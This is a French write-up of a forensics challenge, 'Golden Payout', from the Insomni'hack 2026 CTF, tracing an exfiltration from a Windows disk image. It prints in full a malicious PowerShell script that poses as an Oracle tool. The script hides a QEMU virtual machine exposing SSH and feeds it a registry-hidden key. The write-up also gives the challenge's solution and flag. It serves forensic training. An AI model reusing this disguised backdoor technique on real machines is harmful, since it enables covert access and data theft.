Insomni'hack 2026 CTF: Golden Payout

Écrit par l’équipe HackGyver24 mars 2026

Table des matières

Intro

Une fuite de données massive vient de frapper notre réseau d'entreprise. Des documents hautement sensibles ont été repérés sur une plateforme de divulgation très en vue du Darknet. Les données télémétriques préliminaires du réseau ont signalé un trafic sortant suspect provenant d'un poste de travail spécifique appartenant à l'un de nos administrateurs de bases de données. En tant que membre de l'équipe d'enquête d'intervention rapide, vous avez été chargé de mener une analyse forensic approfondie du poste de travail du suspect.

Analyse

On commence avec un fichier de dump EnCase.

$ file ./GoldenPayout2.E01
./GoldenPayout2.E01: EWF/Expert Witness/EnCase image file format

Installation des outils nécessaires.

$ sudo apt install libewf-dev ewf-tools
$ sudo ewfmount GoldenPayout2.E01 /mnt/ewf

Dans /mnt/ewf, on trouve une image disque :

file /mnt/ewf/ewf1 
/mnt/ewf/ewf1: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system"; partition 1 : ID=0xee, start-CHS (0x0,0,2), end-CHS (0x297,254,63), startsector 1, 4294967295 sectors

On peut la monter avec losetup.

sudo losetup -Pf --show /mnt/ewf/ewf1

Maintenant, jetons un œil au schéma des partitions à l'intérieur.

$ sudo lsblk
NAME                MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINTS
loop0                 7:0    0    60G  1 loop  
├─loop0p1           259:4    0   100M  1 part  
├─loop0p2           259:5    0    16M  1 part  
├─loop0p3           259:6    0  59,4G  1 part  
└─loop0p4           259:7    0   530M  1 part  

Ensuite, on essaie de monter les partitions.

sudo mount -o ro,noload /dev/loop0p3 /mnt/analysis

Ok, on est bien face à une image disque Windows.

$ ls /mnt/analysis
$Recycle.Bin            pagefile.sys   Program Files (x86)        Users
Documents and Settings  PerfLogs       Recovery                   Windows
DumpStack.log.tmp       ProgramData    swapfile.sys
inetpub                 Program Files  System Volume Information

D'habitude, j'aime bien lancer Hayabusa pour avoir une vue d'ensemble rapide et une chronologie de ce qui s'est passé sur la machine Windows.

$ ./hayabusa-2.16.0-lin-x64-gnu csv-timeline -d /mnt/analysis/Windows/System32/winevt/Logs/ -o results-insom.csv
....

On peut voir qu'un script PowerShell suspect a été lancé le 18/03/2026 à 21:34:19.547.

"Timestamp","RuleTitle","Level","Computer","Channel","EventID","RecordID","Details","ExtraFieldInfo"
"2026-03-18 21:31:58.297 +01:00","Log Cleared","high","DESKTOP-KGGEP8A","Sec",1102,19439,"ClientProcessId: 6072 ¦ ClientProcessStartKey: 2251799813685782 ¦ SubjectDomainName: DESKTOP-KGGEP8A ¦ SubjectLogonId: 0x31132 ¦ SubjectUserName: Galahad ¦ SubjectUserSid: S-1-5-21-2630602499-2828925127-3569312964-1002","ClientProcessId: 6072 ¦ ClientProcessStartKey: 2251799813685782 ¦ SubjectDomainName: DESKTOP-KGGEP8A ¦ SubjectLogonId: 0x31132 ¦ SubjectUserName: Galahad ¦ SubjectUserSid: S-1-5-21-2630602499-2828925127-3569312964-1002"
"2026-03-18 21:31:58.301 +01:00","Important Log File Cleared","high","DESKTOP-KGGEP8A","Sys",104,2295,"Log: System ¦ User: Galahad","BackupPath: ¦ ClientProcessId: 6072 ¦ ClientProcessStartKey: 2251799813685782 ¦ SubjectDomainName: DESKTOP-KGGEP8A"
"2026-03-18 21:31:58.305 +01:00","Important Log File Cleared","high","DESKTOP-KGGEP8A","Sys",104,2296,"Log: Windows PowerShell ¦ User: Galahad","BackupPath: ¦ ClientProcessId: 6072 ¦ ClientProcessStartKey: 2251799813685782 ¦ SubjectDomainName: DESKTOP-KGGEP8A"
"2026-03-18 21:34:19.547 +01:00","Potentially Malicious PwSh","med","DESKTOP-KGGEP8A","PwSh",4104,37,"ScriptBlock: <# ######################################################################### ## Utility: Oracle Diag Recovery ## ## Version: 11.1.0.3.0 - Production ## ## Purpose: Gather schema statistics and repair damaged database ## ## Author: SYS_ADM (Oracle Database Administration Kit) ## ## Date: 2024-08-17 ## ## ## ## (C) Oracle Corporation 1999, 2011. All rights reserved. ## ######################################################################### #> $basePath = ""C:\ProgramData\Oracle\Diag\Recovery"" Set-Location $basePath # Cryptographic Provider Settings $CryptoProvider = ""HKLM:\SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider"" $ke = (Get-ItemProperty -Path $CryptoProvider).Seed $layout = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"" $kd = """" foreach ($c in $ke.ToCharArray()) { $idx = $layout.IndexOf($c) if ($idx -ne -1) { $newIdx = ($idx - 11 + $layout.Length) % $layout.Length $kd += $layout[$newIdx] } else { $kd += $c } } # Database rebuild $psi = New-Object System.Diagnostics.ProcessStartInfo $psi.FileName = ""$basePath\ora_db_recovery.exe"" $psi.WorkingDirectory = $basePath $psi.Arguments = ""-m 256 -hda `""$basePath\ora_sys_01.db`"" -netdev user,id=net0,hostfwd=tcp:0.0.0.0:22022-:22 -device virtio-net-pci,netdev=net0 -nographic -serial mon:stdio -display none -snapshot"" $psi.UseShellExecute = $false $psi.RedirectStandardInput = $true $psi.CreateNoWindow = $true if (Get-Process ""ora_db_recovery"" -ErrorAction SilentlyContinue) { exit } $p = [System.Diagnostics.Process]::Start($psi) Start-Sleep -Seconds 60 if ($p -and !$p.HasExited) { $p.StandardInput.Write(""$kd`n"") $p.StandardInput.Flush() $p.StandardInput.Close() Remove-Variable kd -ErrorAction SilentlyContinue $kd = $null } exit","MessageNumber: 1 ¦ MessageTotal: 1 ¦ Path: C:\ProgramData\Oracle\Diag\Recovery\OracleDB-Recovery.ps1 ¦ ScriptBlockId: de85eae7-e7f3-42bb-9db8-63bee605cd8e ¦ ScriptBlockText: <# ######################################################################### ## Utility: Oracle Diag Recovery ## ## Version: 11.1.0.3.0 - Production ## ## Purpose: Gather schema statistics and repair damaged database ## ## Author: SYS_ADM (Oracle Database Administration Kit) ## ## Date: 2024-08-17 ## ## ## ## (C) Oracle Corporation 1999, 2011. All rights reserved. ## ######################################################################### #> $basePath = ""C:\ProgramData\Oracle\Diag\Recovery"" Set-Location $basePath # Cryptographic Provider Settings $CryptoProvider = ""HKLM:\SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider"" $ke = (Get-ItemProperty -Path $CryptoProvider).Seed $layout = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"" $kd = """" foreach ($c in $ke.ToCharArray()) { $idx = $layout.IndexOf($c) if ($idx -ne -1) { $newIdx = ($idx - 11 + $layout.Length) % $layout.Length $kd += $layout[$newIdx] } else { $kd += $c } } # Database rebuild $psi = New-Object System.Diagnostics.ProcessStartInfo $psi.FileName = ""$basePath\ora_db_recovery.exe"" $psi.WorkingDirectory = $basePath $psi.Arguments = ""-m 256 -hda `""$basePath\ora_sys_01.db`"" -netdev user,id=net0,hostfwd=tcp:0.0.0.0:22022-:22 -device virtio-net-pci,netdev=net0 -nographic -serial mon:stdio -display none -snapshot"" $psi.UseShellExecute = $false $psi.RedirectStandardInput = $true $psi.CreateNoWindow = $true if (Get-Process ""ora_db_recovery"" -ErrorAction SilentlyContinue) { exit } $p = [System.Diagnostics.Process]::Start($psi) Start-Sleep -Seconds 60 if ($p -and !$p.HasExited) { $p.StandardInput.Write(""$kd`n"") $p.StandardInput.Flush() $p.StandardInput.Close() Remove-Variable kd -ErrorAction SilentlyContinue $kd = $null } exit

OracleDB-Recovery.ps1

## Version: 11.1.0.3.0 - Production                                    ##
## Purpose: Gather schema statistics and repair damaged database       ##
## Author:  SYS_ADM (Oracle Database Administration Kit)               ##
## Date:    2024-08-17                                                 ##
##                                                                     ##
## (C) Oracle Corporation 1999, 2011. All rights reserved.             ##
#########################################################################
#>

$basePath = "C:\ProgramData\Oracle\Diag\Recovery"
Set-Location $basePath

# Cryptographic Provider Settings
$CryptoProvider = "HKLM:\SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider"
$ke = (Get-ItemProperty -Path $CryptoProvider).Seed 
$layout = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
$kd = ""
foreach ($c in $ke.ToCharArray()) {
    $idx = $layout.IndexOf($c)
    if ($idx -ne -1) {
        $newIdx = ($idx - 11 + $layout.Length) % $layout.Length
        $kd += $layout[$newIdx]
    } else { $kd += $c }
}

# Database rebuild
$psi = New-Object System.Diagnostics.ProcessStartInfo
$psi.FileName = "$basePath\ora_db_recovery.exe"
$psi.WorkingDirectory = $basePath
$psi.Arguments = "-m 256 -hda `"$basePath\ora_sys_01.db`" -netdev user,id=net0,hostfwd=tcp:0.0.0.0:22022-:22 -device virtio-net-pci,netdev=net0 -nographic -serial mon:stdio -display none -snapshot"
$psi.UseShellExecute = $false
$psi.RedirectStandardInput = $true
$psi.CreateNoWindow = $true
if (Get-Process "ora_db_recovery" -ErrorAction SilentlyContinue) {
    exit 
}
$p = [System.Diagnostics.Process]::Start($psi)
Start-Sleep -Seconds 60
if ($p -and !$p.HasExited) {
  $p.StandardInput.Write("$kd`n")
    $p.StandardInput.Flush()
  $p.StandardInput.Close()
    Remove-Variable kd -ErrorAction SilentlyContinue
    $kd = $null
}

exit

Au début, le script lit une valeur dans le registre.

# Cryptographic Provider Settings
$CryptoProvider = "HKLM:\SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider"
$ke = (Get-ItemProperty -Path $CryptoProvider).Seed 
$layout = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
$kd = ""
foreach ($c in $ke.ToCharArray()) {
    $idx = $layout.IndexOf($c)
    if ($idx -ne -1) {
        $newIdx = ($idx - 11 + $layout.Length) % $layout.Length
        $kd += $layout[$newIdx]
    } else { $kd += $c }
}

registry

On peut facilement déchiffrer la "seed" en réutilisant le code PowerShell.

Valeur de la seed : XFyyE23XFvE4sXFy Mot de passe décodé : M4nn3rsM4k3thM4n (on en aura besoin plus tard).

Cette ligne est très intéressante ; si vous connaissez le format Qcow, vous reconnaîtrez les paramètres.

$psi = New-Object System.Diagnostics.ProcessStartInfo
$psi.FileName = "$basePath\ora_db_recovery.exe"
$psi.WorkingDirectory = $basePath
$psi.Arguments = "-m 256 -hda `"$basePath\ora_sys_01.db`" -netdev user,id=net0,hostfwd=tcp:0.0.0.0:22022-:22 -device virtio-net-pci,netdev=net0 -nographic -serial mon:stdio -display none -snapshot"

Et comme on s'en doutait, le fichier ora_sys_01.db est bien une image disque Qcow.

$ file ora_sys_01.db
ora_sys_01.db: QEMU QCOW Image (v3), 1073741824 bytes (v3), 1073741824 bytes

Mount the qemu disk

Installation des bons outils (si on ne les a pas déjà).

$ sudo apt install qemu-utils
$ sudo modprobe nbd max_part=8

Jetons un œil aux partitions.

$ sudo qemu-nbd --connect=/dev/nbd0 ora_sys_01.db

$ lsblk /dev/nbd0
NAME     MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
nbd0      43:0    0    1G  0 disk 
├─nbd0p1  43:1    0  300M  0 part 
└─nbd0p2  43:2    0  723M  0 part 

On a deux partitions : nbd0p1 est le /boot, on monte la deuxième.

$ sudo mkdir /mnt/attacker_vm

$ sudo mount -o ro /dev/nbd0p2 /mnt/attacker_vm

mount: /mnt/attacker_vm: type de système de fichiers « crypto_LUKS » inconnu.
       dmesg(1) peut avoir plus d'informations après un échec de l'appel système du montage.

On ne peut pas monter nbd0p2 car la partition est chiffrée au format LUKS. Mais rappelez-vous, on a trouvé plus tôt un mot de passe dans le script PowerShell (stocké dans la variable $kd), et cette variable était transmise à la machine QEMU au moment du boot.

$p = [System.Diagnostics.Process]::Start($psi)
Start-Sleep -Seconds 60
if ($p -and !$p.HasExited) {
  $p.StandardInput.Write("$kd`n")
    $p.StandardInput.Flush()
  $p.StandardInput.Close()
    Remove-Variable kd -ErrorAction SilentlyContinue
    $kd = $null
}

Déchiffrement de la partition LUKS.

echo "M4nn3rsM4k3thM4n" | sudo cryptsetup luksOpen /dev/nbd0p2 attacker_vault

Et on la monte.

sudo mkdir -p /mnt/attacker_data
sudo mount -o ro /dev/vg0/lv_root /mnt/attacker_data

Résoudre le challenge

Maintenant, on a affaire à une machine Linux !

$ ls /mnt/attacker_data
bin   dev  home  lost+found  mnt  proc  run   srv   sys  usr
boot  etc  lib   media       opt  root  sbin  swap  tmp  var

Pas de chance, l'historique du shell root n'est pas enregistré :/

$ sudo ls -al /mnt/attacker_data/root
total 4
drwx------  3 root root 1024 mars  17 20:09 .
drwxr-xr-x 22 root root 1024 mars  17 17:35 ..
-rw-r--r--  1 root root  763 mars  17 19:53 analyze_schema.log
lrwxrwxrwx  1 root root    9 mars  17 20:09 .ash_history -> /dev/null
drwxr-xr-x  3 root root 1024 mars  17 18:03 .config

Mais jetons un œil au dossier .config !

rclone root config

On trouve un dossier rclone dans le répertoire personnel de root, ce qui signifie que l'attaquant s'en est servi pour exfiltrer la base de données.

sudo ls -al /mnt/attacker_data/root/.config/rclone

Et voilà, on a le serveur VPS utilisé pour l'exfiltration !

cat rclone.conf 
[my_vps]
type = sftp
host = 172.17.60.253 
user = sysdba
pass = XFByPeH7WsqlO92Fs6FQhfayDLJhD6a0yaKgiZhKktfATRopBhyiqBPf9yMKvx0Kyi86NOxQHMU
shell_type = unix
md5sum_command = md5sum
sha1sum_command = sha1sum

Mais le mot de passe distant est chiffré. Quoi qu'il en soit, le chiffrement des mots de passe rclone est bien connu, on peut trouver un outil pour nous aider.

https://github.com/maaaaz/rclonedeobscure

$ python3 rclonedeobscure.py -d XFByPeH7WsqlO92Fs6FQhfayDLJhD6a0yaKgiZhKktfATRopBhyiqBPf9yMKvx0Kyi86NOxQHMU
[+] obscured password	: XFByPeH7WsqlO92Fs6FQhfayDLJhD6a0yaKgiZhKktfATRopBhyiqBPf9yMKvx0Kyi86NOxQHMU
[+] deobscured password	: INS{Q3MUfr13nd0f7h3600d7h384d4nd7h3u61y}

\o/

← Retour aux projets